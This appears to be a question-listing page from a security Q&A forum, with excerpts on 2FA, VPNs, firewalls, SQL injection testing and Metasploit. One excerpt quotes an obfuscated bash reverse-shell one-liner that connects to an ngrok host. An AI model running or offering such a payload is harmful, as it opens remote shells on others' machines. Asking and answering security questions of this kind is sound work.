All Questions

Filter by
Sorted by
Tagged with
0 votes
0 answers
12 views

How to manage many vulnerability scanners from CICD Pipelines?

My company has a lot of projects and uses various vulnerability scanners (e.g. Trivy, npm audit, SAST,...) in different stages in each of them. The Problem is now that although they run well, it's not ...
telion's user avatar
  • 101
-1 votes
0 answers
9 views

Nmap not working [migrated]

I am using VMware workstation and while running scan on nmap the host always appears down although the host is up it won't even ping. I tried switching to bridged adapter but the network won't even ...
Hanreet's user avatar
0 votes
1 answer
13 views

Security doubts around the refresh token and how it works

I am trying to understand how refresh tokens and access tokens works, and I ready several threads and documentations. It seems that I am not the only one confused around this topic. Based on this ...
anonymous's user avatar
1 vote
0 answers
16 views

How to include the coreruleset rules in OPNsense firewall WAF (Nginx)

I want to integrate ModSecurity into the WAF to ensure I'm protected with OWASP Top 10 security mitigations. I'd appreciate your guidance if there are any specific configurations you recommend for ...
Vivek S Panchal's user avatar
0 votes
0 answers
36 views

Is my wesbite stil vulnerable if sqlmap cannot retrieve the database names but CAN successfully inject? [closed]

I am (basically) pen-testing my own website, and I do have a new WAF, but have temporarily taken it down in a safe, testing environment (the one on my actual site is still up.) This is the same site ...
security_paranoid's user avatar
1 vote
0 answers
13 views

How to grant permission to open PRs on Bitbucket? [migrated]

How do I grant appropriately-scoped permission for an automated process (like Renovate Bot) to propose new Pull Requests to a group of source code repositories hosted in Atlassian Bitbucket (which is ...
benjimin's user avatar
  • 175
0 votes
0 answers
62 views

Can my ip address be traced from telegram

How easy is it for someone to get my ip address from a telegram message? I was told it was only the highly skilled who could do so
user309317's user avatar
0 votes
0 answers
46 views

How to make SMS-based 2FA safer?

This is a problem that many of us face: A surprising number of financial institutions' websites offer additional authentication only via SMS and/or phone call. But I will refer to my situation ...
NotAnAccountant's user avatar
0 votes
0 answers
29 views

Found some files on my pc that made me suspect a RAT. Need some help/advice [closed]

Just found some text files inside some folders that are in C:\Users(my username)\AppData\Local\k-Logged-(my username).zip Here's the link to some of the screenshots https://postimg.cc/gallery/nnbTzfV/...
RoastedMarshmellowes's user avatar
0 votes
0 answers
29 views

Multiple firewalls running on the same machine

On my machine, I have had the Bitdefender firewall and the default Windows firewall running for some time. In the past, I have set rules and exceptions such as to block ads on certain applications. ...
Leo's user avatar
  • 1
0 votes
1 answer
37 views

Hash security and penetration testing [closed]

I've been looking at hash security, and how tools like hashcat and John The Ripper work. I seem to have misunderstood some basic stuff, and would appreciate some clarification on: If you're pen ...
QF0's user avatar
  • 101
2 votes
1 answer
62 views

What is a secure way to store the master-password of a password manager? [duplicate]

I use a password manager to provide a decent information security level in my everyday life - by generating strong passwords on every occasion - and remembering only the one master-password. But now I ...
abyss.7's user avatar
  • 183
1 vote
0 answers
41 views

Is it possible to create a random alphanumeric password with built in error detection? [closed]

A friend told me about a giant alphanumeric password that he had to enter somewhere. Although he was initially worried that he would need multiple attempts due to typos. He was pleasantly surprised ...
C Nielsen's user avatar
  • 111
1 vote
0 answers
38 views

Is it safe to use a laptop on a public WiFi with VPN? [duplicate]

Im in a situation where Im moving between apartments and need to live at an extended stay hotel for a week or two. The hotel does have free WiFi but it is public. If I use my company’s VPN and visit ...
Curt Rand's user avatar
  • 249
2 votes
0 answers
36 views

Can I securely allow someone to make payment into my CC account? [migrated]

Rather than accepting money transfer via something like Venmo, I would prefer that someone simply makes payments into my credit (card) account. Can this be securely set up so that they send a payment ...
amphibient's user avatar
0 votes
0 answers
42 views

ECDSA certificates not impacted by Let’s Encrypt certificate chain change?

We received an email from Cloudflare about the upcoming Let’s Encrypt certificate chain change. At some point, it states that "Additionally, this change only impacts RSA certificates. It does not ...
Vic Seedoubleyew's user avatar
0 votes
0 answers
10 views

How can I determine which IOS application on my iPhone is scanning my local network? [migrated]

My router (Unifi UDM-SE) has a honeypot configured which is capturing a scan from the iPhone about twice per day. I would like to figure out which App is doing this. I have followed the instructions ...
globaltechsoul's user avatar
1 vote
1 answer
170 views

Why does Windows force you to do a mandatory restart once in a while? Apparently, its for 'security purposes.'

I haven't needed to restart my computer for a while now, as I just usually shut down when I'm finished, and then reboot when I use Windows again. I dual-boot, so of course I often restart to a ...
security_paranoid's user avatar
0 votes
0 answers
28 views

IP Address of smart phone [closed]

How I can find my IP address by using IMEI of my smart phone?
Azeez1145's user avatar
-3 votes
0 answers
54 views

https://d1af033869.koo7.cloudfront.net why am I finding these things on my android when I dont own a windows based PC [closed]

I don't even own a windows based PC, but my abusive criminal hacker does. While going through my settings to, as always, keep checking for signs that he's hacked me again (he stole my SS number, so he ...
Ed Schwartz's user avatar
0 votes
0 answers
34 views

MITM experiment works with DLink DIR-605L but not Hitron CGN3AMF

I am trying to learn about man-in-the-middle. I was able to successfully demonstrate it in when I'm using a DLink DIR-605L wifi router that's connected to a Hitron CGN3AMF wifi modem. But I failed ...
learningtech's user avatar
-2 votes
0 answers
69 views

What do i do if this happens [closed]

I clicked a link that sent me to a pop up that locked my browser and it said it logged my ip to the authorities but I heard that they can't report me because I didn't do anything do they have my ip I'...
Jiffyf's user avatar
  • 1
-1 votes
0 answers
62 views

What do i do if click a link and this happens [closed]

I clicked a link after looking for a vid and it said that my ip had been logged to authorities and it acused of possession of cp did they take it for themselves? I'm only 13 and im panicking I wasn't ...
Jiffyf's user avatar
  • 1
-2 votes
0 answers
61 views

I don't even own a windows based PC, but my abusive criminal hacker does [closed]

I don't even own a windows based PC, but my abusive criminal hacker does. While going through my settings to, as always, keep checking for signs that he's hacked me again (he stole my SS number, so he ...
Ed Schwartz's user avatar
0 votes
0 answers
9 views

RSA problem with unconventional calculation of phi [migrated]

i have phi,N and ciphertext. But the phi is calculated with phi=(p+1)(q+1) . I normally calculate d but cannot recover message
Zay Yar Htet's user avatar
0 votes
0 answers
41 views

Buffer Overflow shell

I'm trying to exploit the code posted by ir0nstone at this link https://ir0nstone.gitbook.io/notes/types/stack/shellcode. I followed any of the steps listed in the tutorial, ASLR is not enabled on my ...
xChineze's user avatar
1 vote
1 answer
36 views

Does the CORS asteriks / wildcard include both encrypted and unencrypted origins?

Does the CORS asteriks / wildcard (*) include both encrypted (https) and unencrypted origins (http)? And is the null origin (i.e., when a local file is doing a xmlhttprequest, or within an iframe ...
Booger21's user avatar
0 votes
0 answers
39 views

How would you explain a VPN to a non-techie? [closed]

I know a lot about what a VPN is, and how they work, and for most of you it would be extremely simple. But how would you go about explaining it to someone who doesn’t even have a clue about what the ...
security_paranoid's user avatar
0 votes
0 answers
32 views

Why is running an exe created from ADS, failing in Win-11 with incompatibility of 64-bit OS?

I'm experimenting with ADS (Alternative Data Streams), and tried to create a text file with the calc.exe embedded in an ADS. I used the following steps to do this: "Hello" >t2.txt Get-...
not2qubit's user avatar
  • 275
0 votes
1 answer
79 views

Do I need to implement additional security measures for my self-hosted container web app?

Could you please suggest if I need to do anything else to ensure that my server is secure against the most common attacks? Currently it seems fine to me, but I would highly appreciate if someone with ...
dooshnila's user avatar
0 votes
1 answer
40 views

How can I programmatically fetch the CT log? [duplicate]

How can I programmatically fetch the Certificate Transparency log? One of the components of our infrastructure that watches certificate issuances is basically falling over; I had believed that it ...
Thanatos's user avatar
  • 1,076
0 votes
1 answer
54 views

Do 2FA Codes on the same device defeat their purpose? [duplicate]

I have my iPhone connected to my MacBook and receive SMS codes on my computer, which is very convenient. I also recently learned you can have an authentication app on your MacBook too. I just wonder ...
user1721135's user avatar
36 votes
6 answers
19k views

A client did an unannounced penetration test on our platform

A client did an unannounced penetration test on our platform (SaaS, multi-tenant). The first test, they made an extreme number of requests in a short amount of time. It was not logged in and was ...
Dirk Boer's user avatar
  • 479
0 votes
0 answers
30 views

If I have my school account logged in on my device. Will they be able to see and know what im doing [duplicate]

I haven't used their network or anything like that or neither have I logged in to my real account on a school computer but I do have my school account logged in to my devices e.g. my phone and my ...
smoke's user avatar
  • 1
0 votes
0 answers
43 views

I tried to use Tryhackme on Kali Linux and got an error [closed]

I downloaded the “.ovpn” file from the tryhackme site, ran “openvpn hoochoo224.ovp” and got an error, so I read the error and added “--data-ciphers-fallback BF-CBC” to the “.ovpn” file. Then I got a ...
외계인삐리리's user avatar
1 vote
1 answer
80 views

Why does the Signal Protocol use a symmetric key for encryption- when asymmetric keys are more secure? [duplicate]

The Signal Protocol, as many of you would know, is used by many applications such as WhatsApp and Signal. These corporations, I can vouch for, would definitely use the most secure protocol they could- ...
security_paranoid's user avatar
0 votes
0 answers
28 views

Which signals (wifi, mobile phone, gps) can reliably be blocked by tin foil? [closed]

There seems to be conflicting information regarding which signals can be effectively blocked by wrapping the device in tin foil. Faraday bags exist but they have been shown to be rather expensive and ...
CuriousIndeed's user avatar
0 votes
0 answers
37 views

Best Practices re: changing email address post fraud

Scenario: Successful fraud attempt via phone call. Victim speaks to fraudster and gets tricked into email transfer of funds due to some situation i.e. falsified family emergency (grandson is injured ...
user309108's user avatar
0 votes
1 answer
45 views

Under which situations is open redirection possible?

I am searching about the open redirection attack. When I look at websites that try to explain the situation, they generally say to test the URLs in the form of www.example.com?redirection=... to see ...
Not a Salmon Fish's user avatar
0 votes
1 answer
55 views

Is an isolated VM (Hyper-V) still safe despite the fact that the host uses RDP to view/control the VM?

This question is directed towards creating an isolated environment for a reverse engineering VM, where malicious programs will be disassembled, debugged by executing them, so static and dynamic ...
stringExchange's user avatar
0 votes
1 answer
42 views

CSRF using Client Side redirect

I have seen in an article regarding CSRF bypass when cookie set with Samesite: Strict. Normally if a cookie is set with Samesite: Strict then it will not be send in a cross origin request. But if the ...
Allen Johnson's user avatar
0 votes
2 answers
86 views

Which tool to use to automate REST API pentest

I want to run an automated REST API pentest, and I want to integrate my test into CI/CD pipeline. Note: I have the openapi specification of the APIs that I want to test. My automated test will be ...
anonymous's user avatar
0 votes
1 answer
75 views

Crack hash with given salt and dictionary [duplicate]

pbkdf2:sha256:600000$m28HtZYwJYMjkhJ5$2d481c9f3fe597390e4c4192f762188bf311e834030a11e069019015fb336c14 This is the format in which I have the hash. I also have a dictionary which consists of the ...
Ankeet Saha's user avatar
0 votes
0 answers
26 views

PCI 4.0 Assessment for Service Provider that doesn't have a CDE

What type of PCI 4.0 Assessment are Service Providers doing when they have no CDE, they do not accept or process credit cards, but instead use another service provider for those services?
Marc F. Schultz's user avatar
1 vote
0 answers
50 views

Is it possible to exploit this supposedly boolean-based blind and time-based blind SQLi (sqlmap)?

I recently found a boolean-based blind SQLi and since I'm new to the bug bounty scene - I don't understand what impact I can extract from it. There is a website like example.com/tarif?tableId=136&...
Andrey's user avatar
  • 11
0 votes
0 answers
50 views

Is it a good idea to implement an XSS blocking middleware like cloudflare? [closed]

I noticed that whenever someone tries to send XSS data, Cloudflare blocks it. So I tested it and concluded the pattern. I want to implement a Regex that detects any XSS pattern and block it. Note: I ...
a_duck's user avatar
  • 1
3 votes
2 answers
140 views

What are the security pros and cons of setting up passkeys for Gmail logins?

Today while signing on to Gmail with my iPad, I was prompted: With passkeys you can now use your fingerprint, face, or screen lock to verify it’s really you. I was wondering what the security pros ...
Will Octagon Gibson's user avatar
0 votes
1 answer
49 views

Reverse Shell payload does not work

$(/bin/prin[t]f 'ba\x73h -c \x27ba\x73h -i \x3e\x26 /d\x65v/t\x63p/2.t\x63p.eu.ngrok.io/xxxxx 0\x3e\x261\x27') -i: -c: line 1: unexpected EOF while looking for matching `'' I was trying to get a ...
Ankeet Saha's user avatar
0 votes
0 answers
27 views

Metasploit - No conection between victim and attacker [closed]

I'm using a kali linux VM to try and obtain remote code execution on my personal computer via metasploit. I've created the payload using msfvenom -a x86 --platform windows -p windows/shell/...
alexporritt's user avatar
-1 votes
0 answers
36 views

Cannot solve Vigenerè encryption [closed]

What's wrong with my encrypition of Vigenerè.
Diego Alves's user avatar

15 30 50 per page
1
2 3 4 5
1379